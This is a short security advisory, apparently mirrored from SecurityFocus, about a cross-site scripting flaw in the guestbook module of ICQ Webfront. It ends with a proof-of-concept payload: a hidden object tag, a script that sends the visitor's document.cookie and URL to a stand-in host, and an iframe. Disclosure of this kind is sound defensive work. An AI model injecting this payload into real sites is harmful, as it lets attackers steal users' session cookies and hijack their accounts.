9 lines
No EOL
656 B
Text
9 lines
No EOL
656 B
Text
source: https://www.securityfocus.com/bid/8563/info
|
|
|
|
It has been reported that ICQ Webfront is prone to a cross-site scripting vulnerability in the message field of the guestbook module. This issue is caused by improper sanitization of user-supplied data.
|
|
|
|
Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials from a user. Other attacks are possible as well.
|
|
|
|
<object style="display:none" data="http://www.example.com/bad.asp"></object>
|
|
<SCRIPT>location.href="http://www.example.com/xss.cgi?ref="+document.URL+"cookie="+document.cookie;</script>
|
|
<iframe src="http://www.example.com"></iframe> |